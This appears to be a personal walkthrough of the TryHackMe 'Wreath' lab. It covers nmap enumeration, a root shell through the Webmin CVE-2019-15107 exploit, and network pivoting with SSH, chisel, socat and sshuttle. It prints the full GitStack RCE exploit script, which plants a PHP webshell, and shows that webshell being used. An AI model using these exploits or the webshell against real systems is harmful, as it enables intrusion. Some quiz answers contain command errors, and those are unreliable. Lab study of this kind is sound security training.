Published on

THM Wreath

Authors

Wreath

Intro

Out of the blue, an old friend from university: Thomas Wreath, calls you after several years of no contact. You spend a few minutes catching up before he reveals the real reason he called:

"So I heard you got into hacking? That's awesome! I have a few servers set up on my home network for my projects, I was wondering if you might like to assess them?"

You take a moment to think about it, before deciding to accept the job -- it's for a friend after all. Turning down his offer of payment, you tell him:

I’ll do it!

  • There are three machines on the network
  • There is at least one public facing webserver
  • There is a self-hosted git server somewhere on the network
  • The git server is internal, so Thomas may have pushed sensitive information into it
  • There is a PC running on the network that has antivirus installed, meaning we can hazard a guess that this is likely to be Windows
  • By the sounds of it this is likely to be the server variant of Windows, which might work in our favour
  • The (assumed) Windows PC cannot be accessed directly from the webserver

Webserver - Enumeration

nmap all ports, full enumerate

nmap -p- -sV -A <ip> --open -o full-enumerate.nmap

└─$ nmap -p- -sV -A 10.200.90.200 -o full-enumerate.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 14:52 EDT
Nmap scan report for 10.200.90.200
Host is up (0.098s latency).
Not shown: 65380 filtered tcp ports (no-response), 150 filtered tcp ports (host-unreach)
PORT      STATE  SERVICE    VERSION
22/tcp    open   ssh        OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 9c:1b:d4:b4:05:4d:88:99:ce:09:1f:c1:15:6a:d4:7e (RSA)
|   256 93:55:b4:d9:8b:70:ae:8e:95:0d:c2:b6:d2:03:89:a4 (ECDSA)
|_  256 f0:61:5a:55:34:9b:b7:b8:3a:46:ca:7d:9f:dc:fa:12 (ED25519)
80/tcp    open   http       Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-title: Did not follow redirect to https://thomaswreath.thm
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
443/tcp   open   ssl/http   Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
|_ssl-date: TLS randomness does not represent time
|_http-title: Thomas Wreath | Developer
| ssl-cert: Subject: commonName=thomaswreath.thm/organizationName=Thomas Wreath Development/stateOrProvinceName=East Riding Yorkshire/countryName=GB
| Not valid before: 2023-07-27T17:38:09
|_Not valid after:  2024-07-26T17:38:09
| http-methods: 
|_  Potentially risky methods: TRACE
9090/tcp  closed zeus-admin
10000/tcp open   http       MiniServ 1.890 (Webmin httpd)
|_http-title: Login to Webmin

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.75 seconds

nmap (all identified TCP ports + default scripts & service versions)

nmap -p <1,2,3> -sV --script default --script http-methods --script http-headers <ip> -o <ip>-identified-ports.nmap

└─$ nmap -p 22,80,443,9090,10000 -sV --script default --script http-methods --script http-headers 10.200.90.200 -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 14:58 EDT
Nmap scan report for 10.200.90.200
Host is up (0.098s latency).

PORT      STATE  SERVICE    VERSION
22/tcp    open   ssh        OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 9c:1b:d4:b4:05:4d:88:99:ce:09:1f:c1:15:6a:d4:7e (RSA)
|   256 93:55:b4:d9:8b:70:ae:8e:95:0d:c2:b6:d2:03:89:a4 (ECDSA)
|_  256 f0:61:5a:55:34:9b:b7:b8:3a:46:ca:7d:9f:dc:fa:12 (ED25519)
80/tcp    open   http       Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
| http-headers: 
|   Date: Thu, 27 Jul 2023 18:59:10 GMT
|   Server: Apache/2.4.37 (centos) OpenSSL/1.1.1c
|   Location: https://thomaswreath.thm
|   Content-Length: 208
|   Connection: close
|   Content-Type: text/html; charset=iso-8859-1
|   
|_  (Request type: GET)
|_http-title: Did not follow redirect to https://thomaswreath.thm
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
443/tcp   open   ssl/http   Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Thomas Wreath | Developer
| ssl-cert: Subject: commonName=thomaswreath.thm/organizationName=Thomas Wreath Development/stateOrProvinceName=East Riding Yorkshire/countryName=GB
| Not valid before: 2023-07-27T17:38:09
|_Not valid after:  2024-07-26T17:38:09
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| http-headers: 
|   Date: Thu, 27 Jul 2023 18:59:09 GMT
|   Server: Apache/2.4.37 (centos) OpenSSL/1.1.1c
|   Last-Modified: Sat, 07 Nov 2020 22:15:05 GMT
|   ETag: "3c17-5b38ba949f993"
|   Accept-Ranges: bytes
|   Content-Length: 15383
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
9090/tcp  closed zeus-admin
10000/tcp open   http       MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
| http-headers: 
|   Server: MiniServ/1.890
|   Date: Thu, 27 Jul 2023 18:59:10 GMT
|   Content-type: text/html; Charset=iso-8859-1
|   Connection: close
|   
|_  (Request type: GET)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.85 seconds

nmap (vuln scan)

nmap -p <1,2,3> --script vuln <ip> -o <ip>-vuln.nmap

└─$ nmap -p 22,80,443,9090,10000 --script vuln 10.200.90.200 -o vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 15:02 EDT
Nmap scan report for thomaswreath.thm (10.200.90.200)
Host is up (0.097s latency).

PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2013-7091: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-passwd: ERROR: Script execution failed (use -d to debug)
443/tcp   open   https
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /css/: Potentially interesting folder w/ directory listing
|   /icons/: Potentially interesting folder w/ directory listing
|   /img/: Potentially interesting folder w/ directory listing
|_  /js/: Potentially interesting folder w/ directory listing
|_http-trace: TRACE is enabled
| http-sql-injection: 
|   Possible sqli for queries:
|     https://thomaswreath.thm:443/js/?C=M%3BO%3DA%27%20OR%20sqlspider
.... etc
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
9090/tcp  closed zeus-admin
10000/tcp open   snet-sensor-mgmt
| http-vuln-cve2006-3392: 
|   VULNERABLE:
|   Webmin File Disclosure
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2006-3392
|       Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
|       This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
|       to bypass the removal of "../" directory traversal sequences.
|       
|     Disclosure date: 2006-06-29
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
|       http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
|_      http://www.exploit-db.com/exploits/1997/

Nmap done: 1 IP address (1 host up) scanned in 42.66 seconds

Task 5 - Webserver Enumeration

  • How many of the first 15000 ports are open on the target? 4
  • What OS does Nmap think is running? CentOS
  • Open the IP in your browser -- what site does the server try to redirect you to? https://thomaswreath.thm

Add it to our /etc/hosts - “This can be accomplished by editing the /etc/hosts file on Linux/MacOS, or C:\Windows\System32\drivers\etc\hosts on Windows, to include the IP address, followed by a tab, then the domain name. Note: this must be done as root/Administrator.”

  • Look back at your service scan results: what server version does Nmap detect as running here? MiniServ 1.890 (Webmin httpd)
  • What is the CVE number for this exploit? CVE-2019-15107

Task 6 - Webserver Exploitation

  1. git clone https://github.com/MuirlandOracle/CVE-2019-15107.git
  2. ./CVE-2019-15107.py 10.200.90.200 -p 10000 = root shell
  3. cd /root/.ssh/ copy id_rsa contents into host machine then chmod 600 id_rsa
    1. This will give us persistent access to the root user thoughtout the use of the box.

Pivoting

Task 7 - What is Pivoting

simple picture to summarize the entire task

Untitled

Task 8 - High-level Overview

  • Tunnelling/Proxying: Creating a proxy type connection through a compromised machine in order to route all desired traffic into the targeted network. This could potentially also be tunnelled inside another protocol (e.g. SSH tunnelling), which can be useful for evading a basic Intrusion Detection System (IDS) or firewall
  • Port Forwarding: Creating a connection between a local port and a single port on a target, via a compromised host

  • Which type of pivoting creates a channel through which information can be sent hidden inside another protocol? tunnelling
  • Research: Not covered in this Network, but good to know about. Which Metasploit Framework Meterpreter command can be used to create a port forward? portfwd

Task 9 - Enumeration

living off the land local ping sweep

It's worth looking into whether you can use an installed shell to perform a sweep of the network. For example, the following Bash one-liner would perform a full ping sweep of the 192.168.1.x network:

for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done

Port scanning in bash can be done (ideally) entirely natively:

for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done

  • This takes a long time tho

  • What is the absolute path to the file containing DNS entries on Linux? /etc/resolv.conf
  • What is the absolute path to the hosts file on Windows? C:\Windows\System32\drivers\etc\hosts
  • How could you see which IP addresses are active and allow ICMP echo requests on the 172.16.0.x/24 network using Bash? for i in {1..255}; do (ping -c 1 172.16.0.${i} | grep "bytes from" &); done

Task 10 - Proxychains & Foxyproxy

  • What line would you put in your proxychains config file to redirect through a socks4 proxy on 127.0.0.1:4242? socks4 127.0.0.1 4242
  • What command would you use to telnet through a proxy to 172.16.0.100:23? proxychains telnet 172.16.0.100 23
  • You have discovered a webapp running on a target inside an isolated network. Which tool is more apt for proxying to a webapp: FoxyProxy

Task 11 - SSH Tunnelling / Port Forwarding ⭐

Port forwarding is accomplished with the -L switch, which creates a link to a Local port. For example, if we had SSH access to 172.16.0.5 and there's a webserver running on 172.16.0.10, we could use this command to create a link to the server on 172.16.0.10:

ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN

We could then access the website on 172.16.0.10 (through 172.16.0.5) by navigating to port 8000 on our own attacking machine. For example, by entering localhost:8000 into a web browser.

  • ChatGPT Explanation breaking down each section:

    Absolutely! This command is creating a sort of tunnel or shortcut from your own computer to a webserver that you normally couldn't access directly. Here's a breakdown of what each part of the command is doing in simpler terms:

    ssh - This is the command that starts everything off. SSH stands for Secure Shell, and it's a way to securely connect to and control another computer over a network.

    • L 8000:172.16.0.10:80 - This part is setting up the tunnel. L stands for Local, as in a local port on your computer. So, what this does is tell your computer to listen on port 8000 (which is just a specific place data can be sent to or from on your computer), and to send any data it receives there to 172.16.0.10 on port 80. 172.16.0.10 is the address of the webserver you're trying to access, and 80 is the standard port for HTTP web traffic.

    user@172.16.0.5 - This is the computer you're using to get to the webserver. You have SSH access to this computer, so you can tell it to forward your traffic along to the webserver.

    • fN - These options tell the SSH command to go into the background (f) and not execute any commands once it's connected (N). This is useful if you're just setting up this tunnel and don't need to do anything else on the 172.16.0.5 machine.

    So, when you navigate to localhost:8000 in your browser, your computer sends that data to 172.16.0.5 (via SSH), which then forwards it to 172.16.0.10. Any response from the webserver also gets sent back through this tunnel, allowing you to access the website as if you were directly connected to it.


  • If you're connecting to an SSH server from your attacking machine to create a port forward, would this be a local (L) port forward or a remote (R) port forward? L
  • Which switch combination can be used to background an SSH port forward or tunnel? -fN
  • It's a good idea to enter our own password on the remote machine to set up a reverse proxy, Aye or Nay? nay
  • What command would you use to create a pair of throwaway SSH keys for a reverse connection? ssh-keygen more on this is Protocols & Servers in my notion
  • If you wanted to set up a reverse portforward from port 22 of a remote machine (172.16.0.100) to port 2222 of your local machine (172.16.0.200), using a keyfile called id_rsa and backgrounding the shell, what command would you use? (Assume your username is "kali") ssh -L 2222:172.16.0.100 kali@172.16.0.200 -i id_rsa -fN
  • What command would you use to set up a forward proxy on port 8000 to user@target.thm, backgrounding the shell? ssh -R 8000 user@target.thm -fN note: it might be -D not -R
  • If you had SSH access to a server (172.16.0.50) with a webserver running internally on port 80 (i.e. only accessible to the server itself on 127.0.0.1:80), how would you forward it to port 8000 on your attacking machine? Assume the username is "user", and background the shell. ssh -L 8000 user:127.0.0.1:80 user@172.16.0.50 -fN

Task 12 - plink.exe

What tool can be used to convert OpenSSH keys into PuTTY style keys?

Plink.exe is a Windows command line version of the PuTTY SSH client. Now that Windows comes with its own inbuilt SSH client, plink is less useful for modern servers; however, it is still a very useful tool, so we will cover it here.

Generally speaking, Windows servers are unlikely to have an SSH server running so our use of Plink tends to be a case of transporting the binary to the target, then using it to create a reverse connection. This would be done with the following command:

cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N

To use our example from before, if we have access to 172.16.0.5 and would like to forward a connection to 172.16.0.10:80 back to port 8000 our own attacking machine (172.16.0.20), we could use this command: cmd.exe /c echo y | .\plink.exe -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -N

Note that any keys generated by ssh-keygenwill not work properly here. You will need to convert them using the puttygen tool, which can be installed on Kali using sudo apt install putty-tools After downloading the tool, conversion can be done with: puttygen KEYFILE -o OUTPUT_KEY.ppk Substituting in a valid file for the keyfile, and adding in the output file.


  • What tool can be used to convert OpenSSH keys into PuTTY style keys? puttygen

Task 13 - Socat

Untitled

It's best to think of socat as a way to join two things together -- kind of like the Portal Gun in the Portal games, it creates a link between two different locations. This could be two ports on the same machine, it could be to create a relay between two different machines, it could be to create a connection between a port and a file on the listening machine, or many other similar things.

https://github.com/cheat/cheatsheets/blob/master/socat


  • If your Attacking IP is 172.16.0.200, how would you relay a reverse shell to TCP port 443 on your Attacking Machine using a static copy of socat in the current directory? Use TCP port 8000 for the server listener, and do not background the process. ./socat tcp-l:8000 tcp:172.16.0.200:443
  • What command would you use to forward TCP port 2222 on a compromised server, to 172.16.0.100:22, using a static copy of socat in the current directory, and backgrounding the process (easy method)? ./socat tcp-l:2222,fork,reuseaddr 172.16.0.100:22 &

Task 14 - Chisel

Tunnel proxy / port forwarding without access

You must have an appropriate copy of the chisel binary on both the attacking machine and the compromised server. Copy the file to the remote server with your choice of file transfer method. You could use the webserver method covered in the previous tasks, or to shake things up a bit, you could use SCP:

scp -i KEY chisel user@target:/tmp/chisel-USERNAME

Reverse SOCKS Proxy:

Let's start by looking at setting up a reverse SOCKS proxy with chisel. This connects back from a compromised server to a listener waiting on our attacking machine.

On our own attacking box we would use a command that looks something like this:

./chisel server -p LISTEN_PORT --reverse &

This sets up a listener on your chosen LISTEN_PORT.

On the compromised host, we would use the following command:

./chisel client ATTACKING_IP:LISTEN_PORT R:socks &

Forward SOCKS Proxy:

Forward proxies are rarer than reverse proxies for the same reason as reverse shells are more common than bind shells; generally speaking, egress firewalls (handling outbound traffic) are less stringent than ingress firewalls (which handle inbound connections). That said, it's still well worth learning how to set up a forward proxy with chisel.

First, on the compromised host we would use:

./chisel server -p LISTEN_PORT --socks5

On our own attacking box we would then use:

./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks

In this command, PROXY_PORT is the port that will be opened for the proxy.

For example, ./chisel client 172.16.0.10:8080 1337:socks would connect to a chisel server running on port 8080 of 172.16.0.10. A SOCKS proxy would be opened on port 1337 of our attacking machine.

Proxychains Reminder:

When sending data through either of these proxies, we would need to set the port in our proxychains configuration. As Chisel uses a SOCKS5 proxy, we will also need to change the start of the line from socks4 to socks5.

Remote Port Forward:

A remote port forward is when we connect back from a compromised target to create the forward.

For a remote port forward, on our attacking machine we use the exact same command as before:

./chisel server -p LISTEN_PORT --reverse &

To use an old example, let's assume that our own IP is 172.16.0.20, the compromised server's IP is 172.16.0.5, and our target is port 22 on 172.16.0.10. The syntax for forwarding 172.16.0.10:22 back to port 2222 on our attacking machine would be as follows:

./chisel client 172.16.0.20:1337 R:2222:172.16.0.10:22 &

Connecting back to our attacking machine, functioning as a chisel server started with:

./chisel server -p 1337 --reverse &

Local Port Forward:

As with SSH, a local port forward is where we connect from our own attacking machine to a chisel server listening on a compromised target.

On the compromised target we set up a chisel server:

./chisel server -p LISTEN_PORT

We now connect to this from our attacking machine like so:

./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT

For example, to connect to 172.16.0.5:8000 (the compromised host running a chisel server), forwarding our local port 2222 to 172.16.0.10:22 (our intended target), we could use:

./chisel client 172.16.0.5:8000 2222:172.16.0.10:22


  • What command would you use to start a chisel server for a reverse connection on your attacking machine? Use port 4242 for the listener and do not background the process. ./chisel server -p 4242 --reverse
  • What command would you use to connect back to this server with a SOCKS proxy from a compromised host, assuming your own IP is 172.16.0.200 and backgrounding the process? ./chisel client 172.16.0.200:4242 R:socks &
  • How would you forward 172.16.0.100:3306 to your own port 33060 using a chisel remote port forward, assuming your own IP is 172.16.0.200 and the listening port is 1337? Background this process. ./chisel client 172.16.0.200:1337 R:33060:172.16.0.100:3306 &
  • If you have a chisel server running on port 4444 of 172.16.0.5, how could you create a local portforward, opening port 8000 locally and linking to 172.16.0.10:80? ./chisel client 4444:172.16.0.5 8000:172.16.0.10:80

Task 15 - sshuttle

For a start, sshuttle only works on Linux targets. It also requires access to the compromised server via SSH, and Python also needs to be installed on the server. It uses an SSH connection to create a tunnelled proxy that acts like a new interface.

The base command for connecting to a server with sshuttle is as follows:

sshuttle -r username@address subnet

For example, in our fictional 172.16.0.x network with a compromised server at 172.16.0.5, the command may look something like this:

sshuttle -r user@172.16.0.5 172.16.0.0/24

We would then be asked for the user's password, and the proxy would be established. The tool will then just sit passively in the background and forward relevant traffic into the target network.

Rather than specifying subnets, we could also use the -N option which attempts to determine them automatically based on the compromised server's own routing table:

sshuttle -r username@address -N


What if we don't have the user's password, or the server only accepts key-based authentication?

So, when using key-based authentication, the final command looks something like this:

sshuttle -r user@address --ssh-cmd "ssh -i KEYFILE" SUBNET

To use our example from before, the command would be:

sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24


Please Note: When using sshuttle, you may encounter an error that looks like this:

client: Connected.
client_loop: send disconnect: Broken pipe
client: fatal: server died with error code 255

To get around this, we tell sshuttle to exclude the compromised server from the subnet range using the -x switch.

sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5


  • How would you use sshuttle to connect to 172.16.20.7, with a username of "pwned" and a subnet of 172.16.0.0/16 sshuttle -r pwned@172.16.20.7 172.16.0/16
  • What switch (and argument) would you use to tell sshuttle to use a keyfile called "priv_key" located in the current directory? --ssh-cmd "ssh -i priv_key"
  • You are trying to use sshuttle to connect to 172.16.0.100. You want to forward the 172.16.0.x/24 range of IP addreses, but you are getting a Broken Pipe error. What switch (and argument) could you use to fix this error? -x 172.16.0.100

Task 16 - Conclusion

The big take away from this section is: there are many different ways to pivot through a network. Further research in your own time is highly recommended, as there are a great many interesting techniques which we haven't had time to cover here (for example, on a fully rooted target, it's possible to use the installed firewall -- e.g. iptables or Windows Firewall -- to create entry points into an otherwise inaccessible network. Equally, it's possible to set up a route manually in the routing table of your attacking machine to, routing your traffic into the target network without requiring a proxy-tool like Proxychains or Foxyproxy).

  • Proxychains and FoxyProxy are used to access a proxy created with one of the other tools
  • SSH can be used to create both port forwards, and proxies
  • plink.exe is an SSH client for Windows, allowing you to create reverse SSH connections on Windows
  • Socat is a good option for redirecting connections, and can be used to create port forwards in a variety of different ways
  • Chisel can do the exact same thing as with SSH portforwarding/tunneling, but doesn't require SSH access on the box
  • sshuttle is a nicer way to create a proxy when we have SSH access on a target

Git Server

Task 17 - Enumeartion

Download a static nmap binary. Rename it to nmap-USERNAME, substituting in your own TryHackMe username. Finally, upload it to the target in a manner of your choosing.

  1. sudo python3 -m http.server 80
  2. On target machine: curl tun0/nmap-USERNAME -o /tmp/nmap-USERNAME && chmod +x /tmp/nmap-USERNAME
  3. ip a note down eth0
  4. ./nmap-USERNAME -sn 10.x.x.1-255 -oN scan-USERNAME
  • output

    [root@prod-serv tmp]# cat scan-ch 
    # Nmap 6.49BETA1 scan initiated Fri Jul 28 19:44:44 2023 as: ./nmap-ch -sn -oN scan-ch 10.200.90.200/24
    Cannot find nmap-payloads. UDP payloads are disabled.
    Nmap scan report for ip-10-200-90-1.eu-west-1.compute.internal (10.200.90.1)
    Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
    Host is up (0.00013s latency).
    MAC Address: 02:A7:A9:75:56:EB (Unknown)
    Nmap scan report for ip-10-200-90-100.eu-west-1.compute.internal (10.200.90.100)
    Host is up (0.0021s latency).
    MAC Address: 02:A9:9C:F3:C3:AB (Unknown)
    Nmap scan report for ip-10-200-90-150.eu-west-1.compute.internal (10.200.90.150)
    Host is up (0.00053s latency).
    MAC Address: 02:92:99:E3:F6:57 (Unknown)
    Nmap scan report for ip-10-200-90-250.eu-west-1.compute.internal (10.200.90.250)
    Host is up (0.00016s latency).
    MAC Address: 02:5C:30:38:02:5F (Unknown)
    Nmap scan report for ip-10-200-90-200.eu-west-1.compute.internal (10.200.90.200)
    Host is up.
    # Nmap done at Fri Jul 28 19:44:48 2023 -- 256 IP addresses (5 hosts up) scanned in 4.31 seconds
    

Note: The host ending in .250 is the OpenVPN server, and .200 is us, and .1 is an internal?


  • Excluding the out of scope hosts, and the current host (.200), how many hosts were discovered active on the network? 2

  • In ascending order, what are the last octets of these host IPv4 addresses? (e.g. if the address was 172.16.0.80, submit the 80) 100,150

  • Scan the hosts -- which one does not return a status of "filtered" for every port (submit the last octet only)? 150 ./nmap-ch 10.200.90.100 10.200.90.150

  • result

    [root@prod-serv tmp]# ./nmap-ch 10.200.90.100 10.200.90.150
    
    Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-07-28 20:01 BST
    Unable to find nmap-services!  Resorting to /etc/services
    Cannot find nmap-payloads. UDP payloads are disabled.
    Nmap scan report for ip-10-200-90-100.eu-west-1.compute.internal (10.200.90.100)
    Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
    Host is up (0.00015s latency).
    All 6150 scanned ports on ip-10-200-90-100.eu-west-1.compute.internal (10.200.90.100) are filtered
    MAC Address: 02:A9:9C:F3:C3:AB (Unknown)
    
    Nmap scan report for ip-10-200-90-150.eu-west-1.compute.internal (10.200.90.150)
    Host is up (0.00065s latency).
    Not shown: 6147 filtered ports
    PORT     STATE SERVICE
    80/tcp   open  http
    3389/tcp open  ms-wbt-server
    5985/tcp open  wsman
    MAC Address: 02:92:99:E3:F6:57 (Unknown)
    
    Nmap done: 2 IP addresses (2 hosts up) scanned in 80.41 seconds
    
  • Let's assume that the other host is inaccessible from our current position in the network. Which TCP ports (in ascending order, comma separated) below port 15000, are open on the remaining target? 80,3389,5985

  • We cannot currently perform a service detection scan on the target without first setting up a proxy, so for the time being, let's assume that the services Nmap has identified based on their port number are accurate. (Please feel free to experiment with other scan types through a proxy after completing the pivoting section).

    • Assuming that the service guesses made by Nmap are accurate, which of the found services is more likely to contain an exploitable vulnerability? http

Task 18 - Pivoting ⭐

Target = 10.200.90.150 as we are ssh’d as root, time to pivot!

  1. curl 10.200.90.150
    • we can see that a curl request leaks the server information

      </li>
              
                <li>
                  
                      ^gitstack/
                      
                  
                </li>
              
                <li>
      
  2. So we are dealing with gitstack
  3. We need to connect from our local to the remote, and sshuttle can help with this:
  4. sshuttle -r root@10.200.90.200 --ssh-cmd "ssh -i id_rsa" 10.200.90.0/24 -x 10.200.90.200
    1. Here we have access to root@...200 so we use -r to specify that
    2. --ssh-cmd "ssh id id_rsa" tells sshuttle that we are using normal ssh for id_rsa
    3. Then we specify we are connecting to any subnet in 10.200.90.0/24 (100 or 150 is our target tho)
    4. Then -x to exclude what we already have access to ...200
  5. http://10.200.90.150/gitstack/ will bring us to the internal website!
  6. searchsploit gitstack and there is a .py Remote Code Execution!

Task 19 - Code Review

  1. To determine if this is python3 or python2 look at print statements.
    1. python2 = print "Hello World!"
    2. python3 = print("Hello World!")
  2. Looking at the code we can tell it is python2
  • the code

    # Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
    # Date: 18.01.2018
    # Software Link: https://gitstack.com/
    # Exploit Author: Kacper Szurek
    # Contact: https://twitter.com/KacperSzurek
    # Website: https://security.szurek.pl/
    # Category: remote
    #
    #1. Description
    #
    #$_SERVER['PHP_AUTH_PW'] is directly passed to exec function.
    #
    #https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html
    #
    #2. Proof of Concept
    #
    import requests
    from requests.auth import HTTPBasicAuth
    import os
    import sys
    
    ip = '192.168.1.102'
    
    # What command you want to execute
    command = "whoami"
    
    repository = 'rce'
    username = 'rce'
    password = 'rce'
    csrf_token = 'token'
    
    user_list = []
    
    print "[+] Get user list"
    try:
    	r = requests.get("http://{}/rest/user/".format(ip))
    	user_list = r.json()
    	user_list.remove('everyone')
    except:
    	pass
    
    if len(user_list) > 0:
    	username = user_list[0]
    	print "[+] Found user {}".format(username)
    else:
    	r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
    	print "[+] Create user"
    
    	if not "User created" in r.text and not "User already exist" in r.text:
    		print "[-] Cannot create user"
    		os._exit(0)
    
    r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
    if "true" in r.text:
    	print "[+] Web repository already enabled"
    else:
    	print "[+] Enable web repository"
    	r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
    	if not "Web interface successfully enabled" in r.text:
    		print "[-] Cannot enable web interface"
    		os._exit(0)
    
    print "[+] Get repositories list"
    r = requests.get("http://{}/rest/repository/".format(ip))
    repository_list = r.json()
    
    if len(repository_list) > 0:
    	repository = repository_list[0]['name']
    	print "[+] Found repository {}".format(repository)
    else:
    	print "[+] Create repository"
    
    	r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
    	if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
    		print "[-] Cannot create repository"
    		os._exit(0)
    
    print "[+] Add user to repository"
    r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))
    
    if not "added to" in r.text and not "has already" in r.text:
    	print "[-] Cannot add user to repository"
    	os._exit(0)
    
    print "[+] Disable access for anyone"
    r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))
    
    if not "everyone removed from rce" in r.text and not "not in list" in r.text:
    	print "[-] Cannot remove access for anyone"
    	os._exit(0)
    
    print "[+] Create backdoor in PHP"
    r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit.php'))
    print r.text.encode(sys.stdout.encoding, errors='replace')
    
    print "[+] Execute command"
    r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command})
    print r.text.encode(sys.stdout.encoding, errors='replace')
    
  1. Now we add our ip to ip = '<ip>'

Task 20 - Exploitation

  1. python2 43777.py
  • Result

    ┌──(collinhacks㉿CH)-[~/Lab/THM/Wreath]
    └─$ python2 43777.py                                 1[+] Get user list
    [+] Found user twreath
    [+] Web repository already enabled
    [+] Get repositories list
    [+] Found repository Website
    [+] Add user to repository
    [+] Disable access for anyone
    [+] Create backdoor in PHP
    Your GitStack credentials were not entered correcly. Please ask your GitStack administrator to give you a username/password and give you access to this repository. <br />Note : You have to enter the credentials of a user which has at least read access to your repository. Your GitStack administration panel username/password will not work. 
    [+] Execute command
    "nt authority\system
    "
    
  1. Exploit works perfectly, and gives us nt authority\system
  2. It works but we need to get it as a persistent shell right
  3. Confirm it is uploaded curl -X POST http://10.200.90.150/web/exploit.php -d "a=whoami" and yes indeed it is
  4. Now we take this into BurpSuite
  • Original request

    GET /web/exploit.php HTTP/1.1
    Host: 10.200.90.150
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Cookie: csrftoken=9r8Scbr88hXGDOz5zdwaciy3tmyK1ekD; sessionid=66ab443e1f811fb82862733b09682433
    Upgrade-Insecure-Requests: 1
    
  • Modified request for what we need

    POST /web/exploit.php HTTP/1.1
    Host: 10.200.90.150
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Cookie: csrftoken=9r8Scbr88hXGDOz5zdwaciy3tmyK1ekD; sessionid=66ab443e1f811fb82862733b09682433
    Upgrade-Insecure-Requests: 1
    Content-Length: 8
    Content-Type: application/x-www-form-urlencoded
    
    a=whoami
    

    Untitled


  • First up, let's use some basic enumeration to get to grips with the webshell: What is the hostname for this target? >hostname git-serv
  • What operating system is this target? >systeminfo Windows
  • What user is the server running as? >whoami nt authority\system

Before we go for a reverse shell, we need to establish whether or not this target is allowed to connect to the outside world. The typical way of doing this is by executing the ping command on the compromised server to ping our own IP and using a network interceptor (Wireshark, TCPDump, etc) to see if the ICMP echo requests make it through. If they do then network connectivity is established, otherwise we may need to go back to the drawing board.

To start up a TCPDump listener we would use the following command: tcpdump -i tun0 icmp

Now, using the webshell, execute the following ping command (substituting in your own VPN IP!): ping -n 3 ATTACKING_IP

